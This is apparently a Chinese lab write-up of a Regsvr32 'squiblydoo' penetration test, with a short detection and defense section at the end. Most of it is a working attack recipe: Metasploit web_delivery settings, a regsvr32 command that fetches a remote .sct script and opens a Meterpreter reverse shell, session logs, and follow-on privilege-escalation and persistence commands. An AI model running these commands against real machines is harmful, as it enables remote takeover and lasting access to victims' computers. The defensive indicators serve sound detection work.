基于Regsvr32.exe的渗透测试完整记录

基于Regsvr32.exe的渗透测试完整记录

测试环境配置

攻击端信息

  • 攻击系统:Kali Linux (Metasploit)
  • 攻击IP:192.168.1.80
  • 监听端口:7777
  • Web服务端口:8080

目标端信息

  • 目标系统:Windows
  • 目标IP:192.168.1.30
  • 连接端口:52982

完整攻击流程

步骤1:Metasploit模块配置

bash 复制代码
# 选择Web Delivery模块
msf > use exploit/multi/script/web_delivery

# 查看当前选项
msf exploit(multi/script/web_delivery) > options

# 查看可用目标类型
msf exploit(multi/script/web_delivery) > show targets

# 设置目标类型为Regsvr32
msf exploit(multi/script/web_delivery) > set target 3

# 配置Payload
msf exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp

# 设置监听主机和端口
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.80
msf exploit(multi/script/web_delivery) > set lport 7777

# 设置Web服务器主机
msf exploit(multi/script/web_delivery) > set srvhost 192.168.1.80

# 验证配置
msf exploit(multi/script/web_delivery) > show options

步骤2:启动攻击模块

bash 复制代码
# 后台运行攻击模块
msf exploit(multi/script/web_delivery) > exploit -j

# 系统返回信息:
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.80:7777 
[*] Using URL: http://192.168.1.80:8080/pxmlOB2r
[*] Server started.

步骤3:生成攻击命令

Metasploit生成以下攻击命令:

复制代码
regsvr32 /s /n /u /i:http://192.168.1.80:8080/pxmlOB2r.sct scrobj.dll

命令参数解析

  • /s : 静默模式,不显示消息框
  • /n : 不调用DllRegisterServer
  • /u : 注销服务器
  • /i:http://... : 调用DllInstall并传递恶意.sct文件的URL
  • scrobj.dll : Windows脚本组件处理库

步骤4:执行攻击

在目标Windows系统(192.168.1.30)上执行生成的regsvr32命令。

cmd 复制代码
regsvr32 /s /n /u /i:http://192.168.1.80:8080/pxmlOB2r.sct scrobj.dll

步骤5:攻击成功验证

系统日志显示攻击成功:

复制代码
[*] 192.168.1.30     web_delivery - Handling .sct Request
[*] 192.168.1.30     web_delivery - Delivering Payload (3736 bytes)
[*] Sending stage (230982 bytes) to 192.168.1.30
[*] Meterpreter session 1 opened (192.168.1.80:7777 -> 192.168.1.30:52982) at 2026-01-18 07:43:51 -0500

技术分析

1. 攻击原理

  • Web Delivery模块:在攻击机(192.168.1.80)上启动Web服务器(端口8080)
  • 恶意.sct文件 :托管在http://192.168.1.80:8080/pxmlOB2r.sct
  • Regsvr32滥用 :利用regsvr32.exe的/i参数加载远程脚本组件
  • 载荷投递:通过scrobj.dll执行远程.sct文件中的恶意代码

2. 网络流量分析

复制代码
攻击路径:
目标机(192.168.1.30) → HTTP请求 → 攻击机(192.168.1.80:8080/pxmlOB2r.sct)
攻击机(192.168.1.80) → 反向TCP → 目标机(192.168.1.30:52982)

3. 载荷信息

  • Payload大小:3736字节(初始) + 230982字节(阶段载荷)
  • 连接方向:反向TCP连接
  • 会话信息:Session ID 1,从192.168.1.30:52982连接到192.168.1.80:7777

后续操作建议

1. 进入Meterpreter会话

bash 复制代码
# 查看当前会话
msf > sessions -l

# 进入会话1
msf > sessions -i 1

# 执行基本命令
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

2. 后渗透操作

bash 复制代码
# 权限提升
meterpreter > getsystem

# 信息收集
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_applications

# 持久化
meterpreter > run persistence -U -i 10 -p 7777 -r 192.168.1.80

防御检测建议

1. 检测指标

  • 进程创建:regsvr32.exe调用scrobj.dll
  • 网络连接:HTTP请求到异常URL的.sct文件
  • 命令行参数 :包含/s /n /u /i:http://的regsvr32命令

2. 防御措施

powershell 复制代码
# 监控Regsvr32执行
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} | 
Where-Object {$_.Message -like "*regsvr32*" -and $_.Message -like "*/i:*"}

# 应用白名单限制
New-Item -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe -Force

3. 网络防护

  • 阻止从内部主机到外部IP的regsvr32相关HTTP请求
  • 监控异常.sct文件下载行为
  • 限制regsvr32.exe执行远程代码的能力

实验总结

本次测试成功演示了利用Regsvr32.exe的"squiblydoo"攻击技术,通过滥用scrobj.dll加载远程恶意.sct文件,建立了反向Meterpreter会话。攻击从启动到建立会话用时极短,显示了此类攻击的高效性和隐蔽性。防御方应重点关注regsvr32异常使用和.sct文件远程加载行为。

相关推荐
玖釉-2 小时前
[Vulkan 实战] 深入解析 Vulkan Compute Shader:实现高效 N-Body 粒子模拟
c++·windows·图形渲染
内心如初2 小时前
05_等保系列之安全工作规划
网络安全·等保测评·等保测评从0-1·等保测评笔记
肥硕之虎2 小时前
从原理到实操:php://filter 伪协议玩转文件包含漏洞
开发语言·网络安全·php
姓蔡小朋友2 小时前
OSI分层模型
网络
诶. .3 小时前
前四天总结
网络安全
小北方城市网3 小时前
SpringBoot 安全认证实战(Spring Security + JWT):打造无状态安全接口体系
数据库·spring boot·后端·安全·spring·mybatis·restful
日日行不惧千万里3 小时前
EFI 与 UEFI 详解
windows
独自破碎E3 小时前
Java中HashMap的默认负载因子为什么设置为0.75?
java·开发语言·网络
a***59263 小时前
TCP/IP协议栈:从基础到未来趋势
网络·网络协议·tcp/ip